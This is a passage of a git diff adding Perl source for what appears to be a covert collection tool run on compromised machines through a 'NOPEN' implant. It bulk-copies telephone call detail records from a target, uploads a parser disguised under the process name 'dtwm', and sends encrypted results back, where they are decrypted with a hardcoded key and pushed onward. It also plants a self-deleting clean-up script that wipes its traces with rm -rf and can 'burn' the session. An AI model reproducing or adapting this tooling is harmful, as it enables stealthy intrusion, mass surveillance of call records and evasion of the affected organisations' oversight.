(@cuplines) { + # If $more already defined, we're on #2 or better, use plurals + if ($more) { + $more3 = "You can, however, kill -9 all but one of them if you want."; + $s = "s"; + $es = "es"; + $them = "them"; + $are = "are"; + $a = ""; + } + $more .= " $1" if /\sroot\s+(\d+)/; + $more2 .= "$_\n"; + } + if (@cuplines) { + if ($arr[0] =~ /STOPPING WATCH.*Be careful/) { + $arr[0] .= + "\n\nThere $are still$a CUP process$es running. More than one is not the prettiest\n". + "thing in the =ps output, but is safe to do. NONE at all puts you at risk of\n". + "leaving the box dirty if you lose the connection. All should die nicely once\n". + "$workdirparent is gone. $more3\n\n". + $more2."\n"; + #, you are provided\n". + # "a kill -9 pastable to kill $them, but you are no longer protected by it if you do:\n\n". + # " kill -9 $more"; + } else { + $arr[0] .= "\n\nThe following CUP process$es are NO LONGER running,\n". + "since $workdirparent is gone:\n\n". + $more2."\n\n". + "In case you don't believe: \n". + " =ps | grep $cupname\$"; + } + } + mydie(@arr); +} + +sub alertwindow { + return if fork(); + local ($delay) = (@_); + close(STDOUT); + close(STDERR); + close($socket); + $delay = 8888 unless $delay > 0; + exec("1x -geometry 91x68-0+0 -e beeps $delay"); +} + +sub getverboseopt { + local($whatbin) = (@_); + my $val = eval "\$${whatbin}opts"; + return $val if length($val); + return "" unless ($socket and $whatbin); + my ($output,,@output) = doit("man $whatbin"); + my ($verboseline) = grep /[-]{1,2}v.*erbose/i,@output; + if ($verboseline =~ /([-]{1,2}v\S*)/i) { + $val = " $1"; + } else { + $val = " "; + } + newhostvar("${whatbin}opts",$val); + return $val; +} + +sub buildcup { + # Take inputs, build cup script from them in $opup, + # return full path to new script. + local($wipedir,$scriptname,$delaysecs) = (@_); + my $contents = ""; + my $cupscript = "$opup/cup.getcdrhitsgz"; + $wipedir =~ s,/+,/,g; + $scriptname = "$wipedir/$scriptname" unless $scriptname =~ m,^/,; + preservefile($cupscript); + # We prefer bash + my ($output) = nopenlss("-UPQ","bash"); + my ($shell) = $output =~ m, (/.*bash),; + unless ($shell) { + nopenaddpath("/usr/local/bin:/usr/local/sbin"); + ($output) = nopenlss("-UPQ","bash"); + ($shell) = $output =~ m, (/.*bash),; + } + $shell = "/bin/sh" unless ($shell); + open(CDROUT,">$cupscript") or mydie("Cannot write to $cupscript"); + $contents = "#!$shell +cd / +rm $scriptname +trap : TERM +COUNT=$delaysecs +CLOSED=\"\" +LASTFILE=\"\" +LASTMOD=$delaysecs +while [ 1 ] ; do + COUNT=\$((COUNT-1)) + DIFF=\$((LASTMOD-COUNT)) + NEWLASTFILE=`ls -lcrt $wipedir/*/* 2>/dev/null| tail -1` + [ \"\$CLOSED\" ] || echo diff=\$DIFF lastfile=\$LASTFILE count=\$COUNT lastmod=\$LASTMOD newlastfile=\$NEWLASTFILE + if [ \"\$LASTFILE\" = \"\$NEWLASTFILE\" ] ; then + DIFF=\$((LASTMOD-COUNT)) + [ \$DIFF -gt $cupinactivedelay ] && break + else + LASTFILE=\"\$NEWLASTFILE\" + LASTMOD=\$COUNT + fi + + [ \"\$CLOSED\" ] || echo you have \$COUNT seconds until cleanup + [ \"\$CLOSED\" ] || exec >&- 2>&- + CLOSED=yes + [ \$COUNT -gt 0 ] || break + [ -d $wipedir ] || break + sleep 1 +done +rm -rf $wipedir +"; + if ($wipedir =~ m,^/(tmp|usr|var|bin|etc|lib|mnt|root|proc|home|vol|dev|opt|devices|sbin)/*$, or + ($host_hiddendir and $wipedir =~ m,$host_hiddendir/*$,) or + $wipedir =~ m,^/*$,) { + mydie("buildcup(@_):\nCUP SCRIPT WOULD HAVE BEEN:\n\n$contents\n\n". + "REFUSING TO PROCEED, cannot wipe \"$wipedir\"") + } + print CDROUT $contents; + close(CDROUT); + return ($cupscript,$contents); +} + +sub packupanddie { + local($projectname) = (@_); + # Wipe target $workparentdir + # Prep files (convert to .txt) + # Package files + # Push files + + my $newdir = dirname($workdirparent); + my ($therelist) = nopenlss("-URQ",$workdirparent); +dbg("datadir=$datadir= therelist=$therelist="); + unless ($therelist) { + offerabort + ("It appears that $workdirparent is already empty, so there is nothing to clean up\n". + "on target. If you continue, any data already retrieved by $prog will\n". + "be packaged locally for delivery and ultimately pushed by a popup window.\n\n". + ""); + } else { + offerabort + ("The \"Pack up mode\" should only be run when all work on target is done. If you\n". + "continue, the target work directory (see contents above) will be wiped with\n\n". + " rm -rf $workdirparent\n\n". + "Data retrieved will then be packaged locally for delivery and ultimately\n". + "pushed by a popup window.\n\n" + ); + } + doit("-cd $newdir"); + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, + $localpid,$localppid,$serverver,$wdir,$targetos, + $targetcwd,$targetpid,$targetppid) = parsestatus("force"); + if ($therelist) { + doit("rm -rf $workdirparent"); + my ($gonelist) = nopenlss("-URQ",$workdirparent); + dbg("gonelist=$gonelist="); + } + chdir($datadir) or + mydie(".\n\n". + "Has $prog collected anything from $nopen_rhostname yet?\n\n". + "Cannot chdir($datadir): $!"); + opendir(GETCDRDIR,$datadir) or mydie("Cannot opendir(GETCDRDIR,$datadir)"); + my (@rawfiles) = grep /enc$/,readdir GETCDRDIR; + mydie("No raw files in $datadir to package up:\nls -al $datadir\n". + `ls -al $datadir 2>&1`) + unless @rawfiles; + my (@newfiles) = (); + foreach my $rawfile (@rawfiles) { + my $newfile = $rawfile; + $newfile =~ s/enc$/txt/; + dbg("RUNNING in ".`pwd`." + + +$crypttool -i $rawfile -o $newfile -k $cryptkey -d -c"); + + chomp(my $err = `$crypttool -i $rawfile -o $newfile -k $cryptkey -d -c ; echo $?`); + + mydie("Cannot run this (exited with $err):\n". + " $crypttool -i $rawfile -o $newfile -k $cryptkey -d -c") + if ($err ne "0"); + push(@newfiles,$newfile); + } + +#OLD: offerball("cdrhits","",$datadir,@newfiles); + my @packdir = ("./"); + offerball(0,"cdrhits","",$datadir,\@packdir); + mydie("$prog \"Pack up mode\" exiting normally, see popped up windows."); +} + +sub setusagetext { + my $str = " +Usage: $prog [options] + +$prog copies the compressed data stored on the target to a temporary +directory, and uncompresses/parses them. To split the load, run multiple +instances of $prog, each with different (NOT OVERLAPPING) dates. +$prog prompts for the parser and argfile to use. The default argfile +is the most current file in $opdir containing \"argfile\". +"; + if ($watchmode) { + $str .= +" +-W/watch mode first deploys a CUP (clean-up) script. This script sleeps (2.5 +hours by default), after which it wipes our parent work directory (e.g., +/tmp/.yada). It monitors while sleeping, exiting when the directory is gone, so +when you clean up manually the CUP script dies on its own. The CUP script also +monitors temporary files--if no new working file is created after a while +(default is $def_i seconds), the CUP script will stop looping, recursively delete +the parent working directory and exit. + +-W/watch mode then monitors the target =ps and w, looking for problems. If the +-W instance sees a problem, or if you touch the local file indicating you see a +problem, you will be asked in a prompt whether to bail or not. If you choose to +bail, the watch mode instance will remove the parent working directory and its +contents and issue a -burn command. (You have to answer BURN to do so.) +"; + } + $str .= " +-P/Pack-up mode: Once all instances are done, up-arrow and add the -P option to +remove the parent working directory (if still there) and locally decrypt, pack +and forward the data from $opdown/via.getcdrhitsgz.HOST.IP/. + +OPTIONS $COLOR_FAILURE\[default, if any, in brackets]$COLOR_NORMAL + (some options ignored in -W/watch or -P/Pack-up modes) + + -h/-v Show usage/version + -P Pack up mode--wipe the work directory if still on target and + package and push the data via copy-fast. + -d wdir Working directory on target. Defaults to the next NEW + subdirectory in NOPEN's CWD. This wdir AND ITS PARENT WILL + be wiped, so it should be ours to begin with. The wipe + is done either manually when done or automatically by the + -W/watch instance of $prog when we bail. +"; + + if ($watchmode) { + $str .= +" -W Watch / bail mode + -w str Watch / bail mode, look also for regexp \"str\" in =ps output + -f pct Alert if working file system grows bigger than this $COLOR_FAILURE\[$def_f]$COLOR_NORMAL + -c name Name of CUP script the watch mode deploys $COLOR_FAILURE\[$def_c]$COLOR_NORMAL + -s secs Countdown until CUP FIRES (Cleans UP) $COLOR_FAILURE\[$def_s]$COLOR_NORMAL + -i secs How long CUP will allow without activity before $COLOR_FAILURE\[$def_i]$COLOR_NORMAL + FIRING (Cleaning UP) + -S secs Delay between checks in watch/bail mode $COLOR_FAILURE\[$def_S]$COLOR_NORMAL + +"; + my $notshown = " + -j pct Alert if working file system capacity shrinksgrows bigger than this $COLOR_FAILURE\[$def_f]$COLOR_NORMAL +"; + } else { + $str .= +" -W Watch / bail mode (use -W with -h for more Watch mode options) + -r str Run the parser as \"str\" $COLOR_FAILURE\[$def_r]$COLOR_NORMAL + -E ext Extension used on data file listings $COLOR_FAILURE\[$def_E]$COLOR_NORMAL + (use \"NONE\" to use * instead of a fixed extension) + -l maskfile File containing list of PATH masks to use + (blank/#comment lines ignored) $COLOR_FAILURE(-l or -L is required)$COLOR_NORMAL + -L mask List of PATH masks to use, with letters for year, month, day + (\",,\" delimited, no whitespace, wildcard \"*\" OK). E.g.: + /remotepath/to/data/dir.YYYYMM/name*YYYYMMDD* + Each such path is processed for the range of dates + provided via -m/-M options. (-l or -L is required) + -m MINDATE Earliest day to process, in YYYYMMDD format $COLOR_FAILURE(required)$COLOR_NORMAL + -M MAXDATE Latest day to process, in YYYYMMDD format (defaults to + same as MINDATE if not provided) + -b exprs Blacklist: $prog will NOT process files matching + these regular expressions (skip files that match), for each + expr given (\",,\" delimited, no whitespace) + -C # Number of .gz files to process at a time. $COLOR_FAILURE\[$def_C]$COLOR_NORMAL + -k key Used for auto decryption of data. (Must use the same key + parser is running with, must be all hex) $COLOR_FAILURE(required)$COLOR_NORMAL + -K key \"Special\" key for parser $COLOR_FAILURE(required)$COLOR_NORMAL + -T proj Project name; if used, will tar/push pulled collection + +"; + } + $str .= " +Usage: $prog [options] + +"; + return $str; +} +__END__ + +oooo...cool. Have the watch instance upload/execute this baby, with time configurable and dir right and all..... + +#!/bin/sh +DIR=/tmp/.scsi +cd / +rm $wipedir/procclean +trap : TERM +COUNT=7200 +CLOSED="" +while [ 1 ] ; do + sleep 1 + COUNT=\\\$((COUNT-1)) + echo COUNT decremented by one is $COUNT + [ "\\\$CLOSED" ] || exec >&- 2>&- + CLOSED=yes + [ \\\$COUNT -gt 0 ] || break + [ -d $wipedir ] || break +done +rm -rf $wipedir diff --git a/Linux/etc/autogetcdrhitsgz.bak b/Linux/etc/autogetcdrhitsgz.bak new file mode 100755 index 0000000..bd0ad3c --- /dev/null +++ b/Linux/etc/autogetcdrhitsgz.bak @@ -0,0 +1,1028 @@ +#!/usr/bin/env perl +## +$VER="1.1.0.1"; +$| = 1 ; + +my ($cdroutput,$cdrnopenlines,@cdroutput) = (); + +$cryptkey=""; +$cupname = ""; + +myinit() ; + +# ASSERT: pulling data from %pathmasks +my @lssargs = ("-ZF"); +push(@lssargs,"-V$opt_b") if $opt_b; + +doit("mkdir -p $workdir"); + +my @completelssoutput = (); +foreach my $dirmask (sort keys %pathmasks) { + my ($year,$mon,$day) = (); + my $filemask = $pathmasks{$dirmask}; + my ($yearstart,$monthstart,$daystart) = $mindate =~ /^(\d{4})(\d\d)(\d\d)/; + my ($yearend,$monthend,$dayend) = $maxdate =~ /^(\d{4})(\d\d)(\d\d)/; +dbg(" OUTSIDE YEAR + (yearstart,monthstart,daystart) = ($yearstart,$monthstart,$daystart) = $mindate + (yearend,monthend,dayend) = ($yearend,$monthend,$dayend) = $maxdate +"); + + for ($year = $yearstart ; $year <= $yearend ; $year++) { +dbg("OUTSIDE MONTH +year=$year= +"); + $monthstart = 1 if ($year > $yearstart); + for ($mon = $monthstart ; ($year != $yearend or $mon <= $monthend) ; $mon++) { +dbg(" OUTSIDE DAY +year=$year= +mon=$mon= +"); + if ($mon >= 13) { + last; + } + $daystart = 1 if ($mon > $monthstart or $year > $yearstart); + my $badday = 0; + for ($day = $daystart; $day <= 31; $day++) { +#dbg("INSIDE DAY +#year=$year= +#mon=$mon= +#day=$day= +#"); + + last if ($day > $dayend and + $mon == $monthend and + $year == $yearend + ); + if ($day > 31 or + ($day > 29 and $mon == 2) or + ($day > 30 and ($mon == 9 or $mon == 11 or $mon == 4 or $mon == 6)) + ) { + $badday++; + last; + } + my $dirmask2 = $dirmask; + my $filemask2 = $filemask; + my $ymdate = sprintf("%04d%02d%02d",$year,$mon,$day); + my $yearmon = sprintf("%04d%02d",$year,$mon); + $filemask2 =~ s/YYYYMMDD/$ymdate/; + $dirmask2 =~ s/YYYYMM/$yearmon/; +dbg("GOT: +dirmask2=$dirmask2= +dirmask=$dirmask= +filemask=$filemask= +pathend=$pathend= + +lssargs=(@lssargs) + +"); + my ($output,$nopenlines,@output) = + nopenlss(@lssargs,"$dirmask2$filemask2$pathend"); + push(@completelssoutput,@output); + } + if ($badday) { + $badday = 0; + } + } + } +} + +mydie("No target files found from $mindate to $maxdate") + unless @completelssoutput; + +# TODO: add =df check of file system size + + + +dbg(" + +".join("\n",@completelssoutput)." + +Those were the ".scalar @completelssoutput." entries in \@completelssoutput. + + + +WHOA, Nelly! + + +"); + + +# OK, good to go. We process $processcount at a time +my $done = 0; +my $datadir = "$opdown/autogetcdrhitsgz.$nopen_rhostname"; + +my ($bytecount,$filecount) = (0,0); + +mkdir($datadir); + +my ($postdfoutput,@postdfoutput,$postdfpct) = (); +while (! $done) { + + my @nextbatch = splice(@completelssoutput,0,$processcount); + my @originalfiles = (); + my $list = ""; + my ($uncompress,$gz,$Z,$bz2) = (); + my $datafile = ""; + foreach (@nextbatch) { + $filecount += @nextbatch; + my ($size,$mon,$file) = m,\s\d+\s+\S+\s+\S+\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d\d:\d\d \d\d\d\d (/.*),; + if ($file =~ /\.gz$/ and !$gz++) { + $gunzipopts = getverboseopt("gunzip") unless (length $gunzipopts); + $uncompress .= "; " if $uncompress; + $uncompress .= "gunzip$gunzipopts $workdir/*.gz"; + } elsif ($file =~ /\.Z$/ and !$Z++) { + $uncompressopts = getverboseopt("uncompress") unless (length $uncompressopts); + $uncompress .= "; " if $uncompress; + $uncompress .= "uncompress$uncompressopts $workdir/*.Z 2>/dev/null || gzip -d $workdir/*.Z"; + } elsif ($file =~ /\.bz2$/ and !$bz2++) { + $bunzip2opts = getverboseopt("bunzip2") unless (length $bunzip2opts); + $uncompress .= "; " if $uncompress; + $uncompress .= "bunzip2$bunzip2opts $workdir/*.bz2"; + } + $list .="$file "; + # First file in batch determines our local filename for .enc file + $datafile = "$file.enc" unless $datafile; + $datafile =~ s,/,_,g; + if ($list and length $list > 1990) { + my ($output,,@output) = doit("cp -p $list $workdir ; echo $?"); + $list=""; + mydie("Copy command resulted in an error") + if ($output[$#output] ne "0"); + } + } + if ($list) { + dbg("list=$list="); + my ($output,,@output) = doit("cp -p $list $workdir ; echo $?"); + $list=""; + mydie("Copy command resulted in an error") + if ($output[$#output] ne "0"); + } + + doit("-ls $workdir"); + if ($uncompress) { + my ($output,,@output) = doit("$uncompress ; echo $?"); + mydie("$uncompress command resulted in an error") + if ($output[$#output] ne "0"); + doit("-ls $workdir"); + unless ($postdfpct) { + ($postdfoutput,$postdfavail,$postdfpct,@postdfoutput) = mydfcheck($workdirparent); + my $pctchange = ((100 * $postdfpct / $predfpct) - 100); +dbg("pctchange=$pctchange="); + $pctchange = sprintf("%2.1f",$pctchange); +dbg(" + + +pre=(@predfoutput) +post=(@postdfoutput) + +pre=$predfoutput= +post=$postdfoutput= + + + +pctchange=$pctchange= ((100 * $postdfpct / $predfpct) - 1);"); + offerabort("The file system with our temporary files shrunk after cp/uncompress by:\n". + " int($predfavail-$postdfavail)=".int($predfavail-$postdfavail)." kbytes, or $pctchange%.". + ""); + } + } + my ($output,$nopenlines,@output) = +# FOR DEBUGGING ONLY ECHO OUTPUT HERE MESSES UP OUR OUTPUT FILES +# doit("cd $workdir; cp ../awk . ;export B=\"--Ct_#37Uw5_80n -m 4 -k $cryptkey -l '$workdir/*' -P ./awk\" ; echo B is \$B ; echo ; $runas ; echo"); + doit("cd $workdir; cp ../awk . ;export B=\"$parserkey -m 4 -k $cryptkey -l '$workdir/*' -P ./awk\" ; $runas ; echo"); +dbg(" + + + +output=$output= + + + +"); + $bytecount += length $output; + if (open(CDROUT,">>$datadir/$datafile")) { + chomp($output); + print CDROUT $output; + } else { + mydie("$!: OPEN >>$datadir/$datafile FAILED"); + } + close(CDROUT); + + doit("rm -f $workdir/*"); +#mydie("TEST PASS DONE REMOVE THIS mydie IF GOOD"); + $done++ unless @completelssoutput; +} + +my ($s,$moredate) = (); +unless (!$maxdate or $maxdate eq $mindate) { + $s = "s"; + $moredate = " through $maxdate"; +} + + +$s = $filecount > 1 ? "s" : ""; + +mydie("DONE with date$s $mindate$moredate + +This instance of $prog processed:\n\n + $filecount file$s, bringing back $bytecount bytes + +If a watch mode $prog is still running, paste this in any NOPEN +window, this touch will cause it to clean up: + + -cd /tmp + -lsh touch $opdir/BAILNOW + + +"); + + + +# BELOW HERE IS OLD START HERE + +exit; + + +my @getlist = (); + +foreach (@completelssoutput) { + my ($size,$file) = m,\s\d+\s+\S+\s+\S+\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d\d:\d\d \d\d\d\d (/.*),; + next unless $size > 0; + push (@getlist,$file); +} + +#TODO: needs to prompt the user making sure this is an alright directory to create... + +#creates p dir +my $remoteCWD = $targetcwd . "\/p"; +doit ("echo creating $remoteCWD"); +doit ("mkdir $remoteCWD"); + +#/current/up/cursetingle.v1.1.1.1.AIX.5.1.targetdl +my @cmdList = (); +# TODO: need to put in warning about loading parser and arg file in the correct dir... + +# creates a list of files with .enc1 added +#foreach (@getlist){ +# push (@cmdList, "$_\.enc1"); +#} + +#uploads the parser; uploading as dtwm (blends in better with other processes) +doit ("-put /current/up/cursetingle.v1.1.1.1.AIX.5.1.targetdl $targetcwd/dtwm"); +doit ("-put /current/down/argfiles/argfile_forward.enc $targetcwd/awk"); + +#loads an array with the commands + +my $execCmd = ""; +doit ("-lsh mkdir -p $localcwd/coll"); +doit ("-lsh mkdir -p $localcwd/coll/$nopen_rhostname"); + +foreach (@getFileList) +{ + # rm previous directory + $execCmd = "rm -f $remoteCWD/*.DAT\; "; + + # cp gzip file and uncompress... + $execCmd .= "cp $cdrDir/$_ $remoteCWD; gunzip $remoteCWD/*.gz ; "; + + # cp support files +# $execCmd .= " cp $targetcwd/awk $remoteCWD ; "; + + # fire parser +# $execCmd .= "B=\'--Ct_#37Uw5_80n -m 4 -k da27cfbedb0d188a56d97ccccf4aa11e -l $remoteCWD/* -P $remoteCWD/awk\' $targetcwd/dtwm "; + $execCmd .= " cat $remoteCWD/* "; + + # write results + $execCmd .= " >T:$localcwd/coll/$nopen_rhostname/$_.enc1"; + + doit ("$execCmd"); +} + + +# remove everything +# TODO: prompt for checks!!! +doit ("/bin/rm -f $targetcwd/awk $targetcwd/dtwm"); +doit ("/bin/rm -rf $remoteCWD"); + +$cryptkey = "da27cfbedb0d188a56d97ccccf4aa11e"; + +progprint(".\nWill be running this for each filename i:\n $COLOR_FAILURE\n cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \`basename \$i\`.txt1 -k $cryptkey -d -c "); + +#my $cdroutputDir = $localcwd . "/coll/" . $nopen_rhostname; +#doit("-lsh for i in $cdroutputDir/* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \$n.txt -k da27cfbedb0d188a56d97ccccf4aa11e -d -c ; done"); +doit("-lsh cd /current/down/coll/$nopen_rhostname ; for i in * ;do cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \`basename \$i\`.txt1 -k $cryptkey -d -c ; done"); + +doit("-lsh mkdir /current/cdrtar; cp -R /current/down/coll/$nopen_rhostname /current/cdrtar; cd /current/cdrtar/$nopen_rhostname; find . -empty -print | xargs /bin/rm ; find . -print | egrep -v \".txt1\" | xargs /bin/rm -r"); + +progprint(".\nThe tar and exfil option was entered on the command line.\n $COLOR_FAILURE\n Will now tar all decrypted data. \n\n The file will be named /current/cdrtar/cdrhits.$projectname.$nopen_rhostname.tar.bz2 "); +doit("-lsh tar cvjf /current/cdrtar/cdrhits$projectname.$nopen_rhostname.tar.bz2 /current/cdrtar/$nopen_rhostname"); +#copy-fast tar file +progprint(".\n $COLOR_FAILURE\n Will now copy fast /current/cdrtar/cdrhits.$projectname.$nopen_rhostname.tar.bz2 \n\n Watch to make sure it doesn't fail !"); +doit("-lsh 1x -hold -e /usr/local/bin/copy-fast NOZIP /current/cdrtar "); + + +exit; + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs getcdrhitsgz"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=getcdrhitsgz\" is used. + +"; + + + # DEFAULTS + $def_E = ".DAT.gz"; + $def_C = 10; + $def_c = "procclean"; + $def_r = "dtwm"; + $def_S = "17"; + $def_s = "9000"; + + my $destdir_tmp = "$opdown/\$nopen_rhostname/via-gs.getcdrhitsgz"; + $destdir = "$opdown/$nopen_rhostname/via-gs.getcdrhitsgz"; + $destdirname = "$nopen_rhostname/via-gs.getcdrhitsgz"; + + $bailfile = "$optmp/BAILGETCDRHITS.$$"; + + @defpaths = ("er*/aux_*/output/final"); + + $gsusagetext= setusagetext(); + + mydie("bad option(s)") if (! Getopts( "hvl:d:L:b:k:K:T:E:m:M:C:Ww:c:S:s:B" ) ) ; + + $watchmode = ($opt_W or $opt_w); + + usage() if ($opt_h or $opt_v); + $cupname = defined $opt_c ? $opt_c : $def_c; + $cupsleep = defined $opt_s ? $opt_s : $def_s; + $runas = defined $opt_r ? $opt_r : $def_r; + $processcount = defined $opt_C ? $opt_C : $def_C; + $checkdelay = defined $opt_S ? $opt_S : $def_S; + $pathend = defined $opt_E ? $opt_E : $def_E; + $pathmask = $opt_L; + $listfile = $opt_l; + + if ($watchmode) { + # Options here only matter in $watchmode + mydie("-S $checkdelay must be a positive integer at most 300") + if (!($checkdelay =~ /^\d+$/) or + $checkdelay == 0 or + $checkdelay > 500 + ); + + } else { + # These options do not matter in $watchmode + mydie("-C $processcount must be a positive integer at most 500") + if (!($processcount =~ /^\d+$/) or + $processcount == 0 or + $processcount > 500 + ); + + # Building regexp for file matching. + # FILENAME ENDING/EXTENSION IF ANY + if ($pathend eq "NONE") { + $pathend = "*"; + } else { + $pathend = "*$pathend"; + } + + mydie("Either or both -l/-L PATHmask option is required") unless $pathmask or $opt_l; + mydie("-L PATHmask must start with /") + if ($pathmask and !($pathmask =~ m,^/.+,)); + + @pathmasks = split(/,,/,$pathmask); + %pathmasks = (); + if ($listfile) { + if (open(GETCDRHITSIN,$listfile)) { + while () { + s/^\s*//; + s/\s*$//; + next if /^#/; + unless (m,^/.+,) { + mywarn("Ignoring malformed mask from $listfile: $_"); + next; + } + push(@pathmasks,$_) if $_; + } + close(GETCDRHITSIN); + } else { + mydie("Cannot open listfile (-l) $listfile"); + } + } + + foreach (@pathmasks) { + mydie("PATH masks must contain both YYYYMM and YYYYMMDD strings,\n". + "(The letters YYYYMM and YYYYMMDD, no digits!!)\n". + "e.g.:\n\n". + " /rmhome/cdrfile/bak/voiceadencdr/cdr.HW*YYYYMM/HW*YYYYMMDD*") + unless (/YYYYMM.*YYYYMMDD/); + my ($dirmask,$filemask) = m,^(/.*YYYYMM/)([^/]+YYYYMMDD),; + $pathmasks{$dirmask} = $filemask; + } + mydie("No valid PATH masks provided, use either -L or -l option to do so.") + unless (%pathmasks); + + # Date ranges, last part we use to filter data files + $mindate = $opt_m; + mydie("-m option is required") unless $mindate; + mydie("-m $mindate option not in YYYYMMDD format") + unless ($mindate =~ /^\d{8}$/); + $maxdate = defined $opt_M ? $opt_M : $opt_m; + mydie("-M $maxdate option not in YYYYMMDD format") + unless ($maxdate =~ /^\d{8}$/); + mydie("-m $mindate is NOT less than or equal to -M $maxdate") + unless (19000100 < $mindate and + $mindate <= $maxdate and + $maxdate < 99991232 + ); + my ($m,$d) = $maxdate =~ /(\d\d)(\d\d)$/; + mydie("Invalid month or day in -M $maxdate") + unless ($m > 0 and $m < 13 and + $d > 0 and $d < 32); + ($m,$d) = $mindate =~ /(\d\d)(\d\d)$/; + mydie("Invalid month or day in -m $mindate") + unless ($m > 0 and $m < 13 and + $d > 0 and $d < 32); + + if ($skipexpr = $opt_b) { + mydie("-b \"$skipexpr\" cannot contain whitespace") + if $skipexpr =~ /\s/; + my @exprs = split(/,,/,$skipexpr); + $skipexpr = ""; + foreach (@exprs) { + $skipexpr .= "\|$_"; + } + } + $skipexpr =~ s/^\|//; + } + $olddatafile = $opt_f; +#dbg("verbose=$verbose= opt_V=$opt_V"); + + if ($opt_d) { + $workdir = $opt_d; + } + + $socket = pilotstart(quiet); + + # grabs the cwd + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, + $localpid,$localppid,$serverver,$wdir,$targetos, + $targetcwd,$targetpid,$targetppid) = parsestatus("force"); + my $defaultstr = ""; + unless ($workdir) { + my ($name,$ext) = ("c",0); + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("-ls $targetcwd"); + my @dirs = grep /^d/,@cdroutput; + @dirs = grep !/\s\.{1,2}$/,@dirs; + while (1) { + $ext++; +dbg(" +Looking for grep /\\d\\s$targetcwd/$name\\.$ext\$/,\@dirs +Got dirs=(\n".join("\n",@dirs).")"); + next if grep m,\d\s$targetcwd/$name\.$ext$, ,@dirs; + last; + } + $workdir = "$targetcwd/$name.$ext"; + $defaultstr = "Defaulting to next available working directory, $workdir.\n\n"; + } + $destdirbase = basename($workdir); + $workdirparent = dirname($workdir); + + # Some more checking on target before we commit + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $workdir"); + mydie("Target working directory $workdir cannot already exist") + if ($cdroutput); + if ($workdirparent =~ m,^/+$,) { + doit("pwd","-cd /tmp"); + mydie("Your NOPEN CWD was not valid!!\n". + "Just did a -cd /tmp, so try again."); + } + mydie("WTF?") if ($workdirparent eq $workdir); + + mydie("Parent of your workdir CANNOT be /tmp (we wipe from parent on down)") + if ($workdirparent =~ m,/+tmp/*$,); + + # All we need is now set for watch process. + if ($watchmode) { + watchbail($opt_w); + } + + if ($opt_k) { + $cryptkey = lc $opt_k; + } + mydie("Required -k argument must be all hex") + unless ($cryptkey =~ /^[0-9a-f]+$/); + + if ($opt_T) { + $projectname = $opt_T; + } + + if ($opt_K) { + $parserkey = lc $opt_K; + } + mydie("-K argument is required") + unless ($parserkey); + + +# my $touchfile = "$workdirparent"; +# $touchfile =~ s,/,_,g; +# $touchfile = "$optmp/CREATED.$touchfile"; + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("ls -d $workdirparent || mkdir -p $workdirparent"); +dbg("output=$cdroutput="); + if ($cdroutput =~ /no such/i) { # so it didn't exist, now it does +# `touch $touchfile`; + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("ls -d $workdirparent"); + mydie("WTF? The directory should be there now???") + unless $cdroutput eq "$workdirparent\n"; + } elsif ($cdroutput =~ m,^$workdirparent\s*$,) { + offerabort($defaultstr. + "Parent directory ($workdirparent) of\n". + "working directory ($workdir)\n".$COLOR_FAILURE. + "ALREADY EXISTS!\n\n".$COLOR_NORMAL. + "This is fine if $workdirparent is our directory already.\n\n". + "When/if $prog bails, it will issue the command:\n". + " rm -rf $workdirparent\n\n". + "You should only continue if you know that is our directory for sure." + ); + } else { + mydie("Unexpected result, is $workdirparent a file?"); + } + foreach my $dir (keys %pathmasks) { + $dir = dirname($dir); + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $dir"); + mydie("Target directory $dir does NOT exist") + unless ($cdroutput); + } + + nopenaddpath($workdirparent); + + # First, the parser. Figure out which or if it is there already. + my $uploadparser = 1; + my ($listing) = doit("-ls $workdirparent/$runas"); + $parser = ""; + if ($listing) { + mydie("Something is wrong, $runas exists on target as a non-file") + unless ($listing =~ /^-/); + ($ans) = mygetinput + ("$workdirparent/$runas is already there.\n\n". + "Is that the correct parser?","Y"); + if ($ans eq "y") { + $uploadparser = 0 ; + } else { + doit("-rm $workdirparent/$runas"); + } + } + if ($uploadparser) { + # So not there yet +# $listing = `find $opup/curse* -type f -ls | lss | sed "s/.* -rw.* root//g" |tee /tmp/listing`; +# $listing = `find $opup/curse* -type f -ls | lss `; +# $listing = `find $opup/curse* -type f -o -type l`; + $listing = `ls -alL $opup/curse*/curse* 2>/dev/null | sed "s/.* root//g"`; + $listing = `ls -alL $opup/curse* 2>/dev/null | sed "s/.* root//g"` unless $listing; +dbg("FIRSTLISTING: + + + +$listing + + +"); + my @list = parelist(split(/\n/,$listing)); + $listing = join("\n",@list); +dbg("NEWPAREDGLISTING: + + +$listing + + +");# $listing = `find $opup/curse* -type f -ls | sed "s/.* -rw.* root//g" |tee /tmp/listing`; +# chomp($parser = `find $opup/curse* -type f -ls | lss | grep -i aix | tail -1`) +# if $aixtarget; +# chomp($parser = `find $opup/curse* -type f -ls | lss | grep -i sunos | tail -1`) +# if $sunostarget; + ($parser) = $list[$#list] =~ m,\s\d+\s(/.*),; + # ($parser) = $parser =~ m,\s\d+\s(/.*),; + $parser = "" unless (-f $parser); + $listing .= "\n\n" if $listing; + ($ans,$parser) = mygetinput + ($listing. + "Choose parser to upload.\n",$parser); + $parser = $1 if $parser =~ m,\s\d+\s(/.*),; + } + + # Now the local cryptTool. + chomp($crypttool = `ls -rt $opbin/cryptTool*Linux* | tail -1`); + while (!($crypttool and 